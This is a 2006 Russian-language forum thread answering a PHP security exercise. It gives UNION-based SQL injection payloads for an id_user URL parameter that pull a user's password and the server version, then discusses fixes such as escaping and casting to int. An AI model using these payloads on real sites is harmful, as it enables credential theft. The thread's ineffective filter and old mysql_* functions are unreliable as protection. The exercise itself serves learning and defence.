|
|
|
| Ответ 001 на задачу N 11.
С условиями задачи можно ознакомится по ссылке.
Чтобы получить пароль пользователя нужно в адресной строке поменять значение переменной id_user на:
-1'UNION SELECT 0, pass, 0, 0, 0 FROM userslist WHERE id_user=ключ пользователя/*
|
но при этом нужно поставить вместо ключ пользователя id_user пользователя, чей пароль хотите узнать.
Чтобы получить версия сервера нужно вместо в адресной строке поменять значение переменной id_user на:
// Точно не знаю, но должна работать
-1'UNION SELECT 0, version(), 0, 0, 0 FROM userslist /*
|
Файл user.php с защитой от SQL-Injection:
<?php
// Устанавливаем соединение с базой данных
require_once("config.php");
// Фильтруем значение переменной $_GET['id_user']
if(isset($_GET['id_user'])) $_GET['id_user'] = str_replace("'", "'", $_GET['id_user']);
// Запрашиваем список всех пользователей
$query = "SELECT * FROM userslist WHERE id_user = '".$_GET[id_user]."'";
$usr = mysql_query($query);
if(!$usr) exit("Ошибка - ".mysql_error());
$user = mysql_fetch_array($usr);
echo "<p>Имя пользователя - $user[name]";
if(!empty($user['email'])) echo "<p>e-mail - $user[email]";
if(!empty($user['url'])) echo "<p>URL - $user[url]";
?>
|
http://www.softtime.ru/info/task.php?id_article=81 | |
|
|
|
|
|
|
|
для: SoftTime
(06.03.2006 в 15:16)
| | Ход мысли верный, однако SQL-запрос ошибочный, здесь используется SQL-инъекция без кавычек. Т.е.
-1 UNION SELECT 0, version(), 0, 0, 0 FROM userslist
|
Это означает, что защита
<?php
if(isset($_GET['id_user'])) $_GET['id_user'] = str_replace("'", "'", $_GET['id_user']);
?>
|
бесполезна, вас спасает только то, что вы заключили $_GET[id_user] в кавычки. Однако, вместо str_replace() лучше использовать специальную функцию mysql_escape_string()
<?php
if (!get_magic_quotes_gpc())
{
$_GET['id_user'] = mysql_escape_string($_GET['id_user']);
}
?>
|
Приведённый выше код является стандартным и позволяет обходить множество проблем, например, с самого начала на этом форуме использовался предложенный вами вариант - теперь обратный кавычки приходится заменять на прямые, в результате часть кода становится не работоспособной, по иронии судьбы ваш код относится к этой части :))) | |
|
|
|
|
|
|
|
для: cheops
(12.03.2006 в 23:52)
| | А разве банальное (int)$_GET[id_user] не поможет? | |
|
|
|
|
|
|
|
для: Atom
(06.07.2006 в 23:26)
| | В случае с числом, да, но со строкой лучше применять mysql_escape_string() для экранирования. | |
|
|
|
|
|
|
|
для: cheops
(06.07.2006 в 23:42)
| | А как на счёт проверки параметра на длинну?
В БД поле id_user INT(11) проверяем чтобы переданый в урле id_user не превышал 11 или даже так можно загнать в урл инъекционый запрос(по моим подсчётам входит только UNION SELEC)
Я не говорю про поля больше чем INT(11) | |
|
|
|
|
|
|
|
для: hell_riser
(08.07.2006 в 19:38)
| | Да проще проверить его на is_integer() или действительно привести к целому числу - любая строка, которая будет не числом будет приведена к 0. | |
|
|
|